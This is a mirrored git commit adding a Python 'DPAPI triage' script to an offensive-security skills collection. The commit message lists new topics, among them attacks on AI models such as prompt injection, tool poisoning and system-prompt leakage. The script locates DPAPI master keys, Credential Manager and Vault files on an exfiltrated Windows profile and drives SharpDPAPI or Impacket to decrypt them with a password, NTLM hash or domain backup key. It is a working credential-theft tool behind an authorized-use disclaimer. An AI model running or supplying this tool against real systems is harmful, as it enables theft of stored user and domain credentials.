mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-26 11:44:37 +03:00
Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
This commit is contained in:
@@ -0,0 +1,154 @@
|
||||
#!/usr/bin/env python3
|
||||
# For authorized penetration testing and educational environments only.
|
||||
# Usage against targets without prior mutual written consent is illegal.
|
||||
# It is the end user's responsibility to obey all applicable laws.
|
||||
"""DPAPI triage orchestrator.
|
||||
|
||||
Locates DPAPI artifacts (master keys, Credential Manager blobs, Vault entries)
|
||||
on a mounted/exfiltrated user profile and drives SharpDPAPI (on Windows) or
|
||||
Impacket's dpapi.py (cross-platform) to decrypt them with a supplied password,
|
||||
NTLM hash, or domain backup key (.pvk).
|
||||
|
||||
This is an operator helper: it builds and runs the real tool commands and
|
||||
parses their output; it does not reimplement DPAPI cryptography.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
# Standard relative locations inside a Windows user profile.
|
||||
PROTECT_REL = os.path.join("AppData", "Roaming", "Microsoft", "Protect")
|
||||
CRED_REL = os.path.join("AppData", "Local", "Microsoft", "Credentials")
|
||||
VAULT_LOCAL_REL = os.path.join("AppData", "Local", "Microsoft", "Vault")
|
||||
VAULT_ROAM_REL = os.path.join("AppData", "Roaming", "Microsoft", "Vault")
|
||||
|
||||
|
||||
def find_tool(candidates):
|
||||
"""Return the first available tool path from candidates, else None."""
|
||||
for name in candidates:
|
||||
path = shutil.which(name)
|
||||
if path:
|
||||
return path
|
||||
return None
|
||||
|
||||
|
||||
def enumerate_artifacts(profile):
|
||||
"""Walk a user profile and collect DPAPI artifact file paths."""
|
||||
found = {"masterkeys": [], "credentials": [], "vaults": []}
|
||||
mapping = {
|
||||
"masterkeys": os.path.join(profile, PROTECT_REL),
|
||||
"credentials": os.path.join(profile, CRED_REL),
|
||||
"vaults": os.path.join(profile, VAULT_LOCAL_REL),
|
||||
}
|
||||
for key, base in mapping.items():
|
||||
if not os.path.isdir(base):
|
||||
continue
|
||||
for root, _dirs, files in os.walk(base):
|
||||
for fname in files:
|
||||
# Master keys are GUID-named; skip preferred/BK marker files noise.
|
||||
found[key].append(os.path.join(root, fname))
|
||||
# Also include roaming vault if present.
|
||||
vroam = os.path.join(profile, VAULT_ROAM_REL)
|
||||
if os.path.isdir(vroam):
|
||||
for root, _dirs, files in os.walk(vroam):
|
||||
for fname in files:
|
||||
found["vaults"].append(os.path.join(root, fname))
|
||||
return found
|
||||
|
||||
|
||||
def run_cmd(cmd, timeout):
|
||||
"""Run an external command and return (rc, stdout, stderr)."""
|
||||
try:
|
||||
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
return proc.returncode, proc.stdout, proc.stderr
|
||||
except FileNotFoundError:
|
||||
return 127, "", f"tool not found: {cmd[0]}"
|
||||
except subprocess.TimeoutExpired:
|
||||
return 124, "", f"timeout after {timeout}s"
|
||||
|
||||
|
||||
def decrypt_masterkey_impacket(tool, mk_file, pvk, timeout):
|
||||
"""Decrypt one master key file via impacket-dpapi using a backup .pvk."""
|
||||
cmd = [tool, "masterkey", "-file", mk_file, "-pvk", pvk]
|
||||
rc, out, err = run_cmd(cmd, timeout)
|
||||
return {"file": mk_file, "rc": rc, "output": (out or err).strip()[:2000]}
|
||||
|
||||
|
||||
def sharpdpapi_triage(tool, profile, pvk, password, ntlm, timeout):
|
||||
"""Build and run a SharpDPAPI triage command appropriate to the inputs."""
|
||||
cmd = [tool, "triage"]
|
||||
if pvk:
|
||||
cmd += [f"/pvk:{pvk}"]
|
||||
elif password:
|
||||
cmd += [f"/password:{password}"]
|
||||
elif ntlm:
|
||||
cmd += [f"/ntlm:{ntlm}"]
|
||||
else:
|
||||
cmd += ["/unprotect"]
|
||||
rc, out, err = run_cmd(cmd, timeout)
|
||||
return {"rc": rc, "output": (out or err).strip()}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Authorized DPAPI triage helper")
|
||||
parser.add_argument("--profile", help="Path to a (mounted) Windows user profile")
|
||||
parser.add_argument("--pvk", help="Domain DPAPI backup key (.pvk)")
|
||||
parser.add_argument("--password", help="User plaintext password")
|
||||
parser.add_argument("--ntlm", help="User NTLM hash")
|
||||
parser.add_argument("--mode", choices=["enumerate", "impacket", "sharpdpapi"],
|
||||
default="enumerate",
|
||||
help="enumerate artifacts, or drive a decryption tool")
|
||||
parser.add_argument("--timeout", type=int, default=120, help="Per-command timeout")
|
||||
args = parser.parse_args()
|
||||
|
||||
ts = datetime.now(timezone.utc).isoformat()
|
||||
print(f"[*] DPAPI triage helper — {ts}")
|
||||
print("[!] Authorized use only. Confirm rules-of-engagement before proceeding.\n")
|
||||
|
||||
if args.mode in ("enumerate", "impacket"):
|
||||
if not args.profile or not os.path.isdir(args.profile):
|
||||
print("[!] --profile must point to an existing user profile directory",
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
artifacts = enumerate_artifacts(args.profile)
|
||||
for kind, items in artifacts.items():
|
||||
print(f"--- {kind.upper()} ({len(items)}) ---")
|
||||
for p in items:
|
||||
print(f" {p}")
|
||||
if args.mode == "impacket":
|
||||
if not args.pvk:
|
||||
print("\n[!] --pvk required for impacket master key decryption",
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
tool = find_tool(["impacket-dpapi", "dpapi.py"])
|
||||
if not tool:
|
||||
print("[!] impacket-dpapi not found. Install: pipx install impacket",
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
print("\n=== Decrypting master keys with backup key ===")
|
||||
for mk in artifacts["masterkeys"]:
|
||||
res = decrypt_masterkey_impacket(tool, mk, args.pvk, args.timeout)
|
||||
print(f" [{res['rc']}] {res['file']}")
|
||||
if res["output"]:
|
||||
print(f" {res['output'][:300]}")
|
||||
return
|
||||
|
||||
# sharpdpapi mode (Windows operator host)
|
||||
tool = find_tool(["SharpDPAPI.exe", "SharpDPAPI"])
|
||||
if not tool:
|
||||
print("[!] SharpDPAPI not found on PATH. Build from "
|
||||
"https://github.com/GhostPack/SharpDPAPI", file=sys.stderr)
|
||||
sys.exit(2)
|
||||
result = sharpdpapi_triage(tool, args.profile, args.pvk, args.password,
|
||||
args.ntlm, args.timeout)
|
||||
print("=== SharpDPAPI triage ===")
|
||||
print(result["output"])
|
||||
sys.exit(0 if result["rc"] == 0 else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user